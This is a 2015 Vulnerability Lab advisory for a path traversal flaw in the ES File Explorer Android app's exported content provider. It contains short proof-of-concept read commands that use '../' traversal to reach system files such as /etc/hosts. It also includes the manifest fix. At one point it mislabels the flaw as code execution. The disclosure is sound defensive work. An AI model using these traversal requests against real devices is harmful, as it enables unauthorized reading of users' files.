Document Title: =============== ES File Explorer v3.2.4.1 - Path Traversal Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1435 CVE-ID: ======= CVE-2015-1876 Release Date: ============= 2015-02-17 Vulnerability Laboratory ID (VL-ID): ==================================== 1435 Common Vulnerability Scoring System: ==================================== 7.8 Product & Service Introduction: =============================== ES File Explorer is a free all-in-one including a file manager & application & tasks, support for online storage spaces (Dropbox, Google Drive, SkyDrive, Box.net, Sugarsync, Yandex, Amazon S3), FTP & Samba client to explore the images, music, videos, documents and other files from your phone and your computer. It allows Android users around the world to manage their resources for free; you can see the files on your phone, access from anywhere and share them with others; it allows you to easily manage your photos or watch videos, stay connected on 3G, EDGE or WiFi, and share with friends. (Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=com.estrongs.android.pop ) Abstract Advisory Information: ============================== An independent vulnerability laboraotory researcher discovered a path traversal web vulnerability in the official ES File Explorer v3.2.4.1 mobile android web-application. Vulnerability Disclosure Timeline: ================================== 2015-02-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== ES APP GROUP Product: ES File Explorer - Mobile Web Application (Android) 3.2.4.1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A Path Traveral web vulnerability has been discovered in the official in the official ES File Explorer v3.2.4.1 mobile android web-application. The security vulnerability allows a remote attacker to unauthorized request local files and device system paths to compromise the application or device. The vulnerability is located in the `content://com.estrongs.files/system/` path request with the <file> context. The vulnerability can be exploited by local or remote attackers without user interaction. The attacker needs to replace the sdcard path request in the com.estrongs.files/system with a malicious path request like ./etc/passwd ./etc/hosts and continues the request. The attack vector is located on the application-side of the service and the request is http. The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. Successful exploitation of the vulnerability results in mobile application compromise Request Method(s): [+] POST & Sync Vulnerable Module(s): [+] content://com.estrongs.files/ Vulnerable Parameter(s): [+] path Affected Module(s): [+] content://com.estrongs.files/system/ Proof of Concept (PoC): ======================= The arbitrary code execution vulnerability can be exploited by remote attackers without user interaction or privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. --- PoC Session Logs --- Package: com.estrongs.android.pop Application Label: ES File Explorer Process Name: com.estrongs.android.pop Version: 3.2.4.1 Data Directory: /data/data/com.estrongs.android.pop APK Path: /data/app/com.estrongs.android.pop-2.apk UID: 10235 GID: [3003, 3002, 3001, 1015, 1028] Permissions: - android.permission.WRITE_SETTINGS - android.permission.CHANGE_WIFI_STATE - android.permission.CHANGE_NETWORK_STATE - android.permission.INTERNET - android.permission.SET_WALLPAPER - android.permission.ACCESS_NETWORK_STATE - android.permission.ACCESS_WIFI_STATE - com.android.launcher.permission.INSTALL_SHORTCUT - com.android.launcher.permission.UNINSTALL_SHORTCUT - android.permission.BLUETOOTH - android.permission.BLUETOOTH_ADMIN - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.WRITE_MEDIA_STORAGE - android.permission.WAKE_LOCK - android.permission.READ_PHONE_STATE - android.permission.ACCESS_SUPERUSER - android.permission.VIBRATE - .PERMISSION - android.permission.CHANGE_WIFI_MULTICAST_STATE - android.permission.SYSTEM_ALERT_WINDOW - android.permission.GET_TASKS - android.permission.READ_EXTERNAL_STORAGE Defines Permissions: - None Activities: com.estrongs.android.pop.view.FileExplorerActivity com.estrongs.android.pop.app.compress.CompressionActivity com.estrongs.android.pop.app.compress.CompressionProxyActivity com.estrongs.android.pop.app.ESFileSharingActivity com.estrongs.android.pop.app.SaveToESActivity com.estrongs.android.pop.app.LocalFileSharingActivity com.estrongs.android.pop.app.PopVideoPlayer com.estrongs.android.pop.app.PopVideoPlayerProxyActivity com.estrongs.android.pop.app.AudioPlayerProxyActivity com.estrongs.android.pop.app.editor.PopNoteEditor com.estrongs.android.pop.app.FileChooserActivity com.estrongs.android.pop.app.ESContentChooserActivity com.estrongs.android.pop.app.ESRingtoneChooserActivity com.estrongs.android.pop.app.ESWallPaperChooserActivity com.estrongs.android.pop.app.DownloaderActivity com.estrongs.android.pop.app.BrowserDownloaderActivity com.estrongs.android.pop.app.PopRemoteImageBrowser com.estrongs.android.pop.ftp.ESFtpShortcut com.estrongs.android.pop.app.ShowDialogActivity com.estrongs.android.pop.app.AppCheckUpdateList com.estrongs.android.pop.app.DefaultWindowSetting com.estrongs.android.pop.app.DocumentExtModifyList com.estrongs.android.pop.app.TransitActivity Broadcast(Receiver): com.estrongs.android.pop.app.AudioPlayerService$MediaButtonReceiver com.baidu.share.message.ShareReceiver com.estrongs.android.pop.EnableOEMConfig com.estrongs.android.pop.app.InstallMonitorReceiver com.estrongs.android.pop.app.StartServiceReceiver Services: com.estrongs.android.pop.bt.OBEXFtpServerService Permission: null Providers: Authority: com.estrongs.files Read Permission: null Write Permission: null Content Provider: com.estrongs.android.pop.app.FileContentProvider Multiprocess Allowed: False Grant Uri Permissions: True read content://com.estrongs.files/system/../../../../../sdcard/<file> Read file hosts read content://com.estrongs.files/system/etc/hosts 127.0.0.1 localhost Solution - Fix & Patch: ======================= In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set. Vulnerable code: com.estrongs.files Read Permission: null Write Permission: null android:exported="true" change "true" to "false" When the value is "false", only components of the same application or applications with the same user ID can start the service or bind to it. <provider android:authorities="com.estrongs.files" android:exported="true" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/> Fixed code: <provider android:authorities="com.estrongs.files" android:exported="false" android:grantUriPermissions="true" android:name="com.estrongs.android.pop.app.FileContentProvider"/> read content://com.estrongs.files/system/etc/hosts Permission Denial: opening provider com.estrongs.android.pop.app.FileContentProv ider from ProcessRecord{4192d1a0 32050:com.mwr.dz:remote/u0a216} (pid=32050, uid =10216) that is not exported from uid 10235 Security Risk: ============== The security risk of the path traversal web vulnerability in the android app is estimated as high. (CVSS 7.8) Credits & Authors: ================== Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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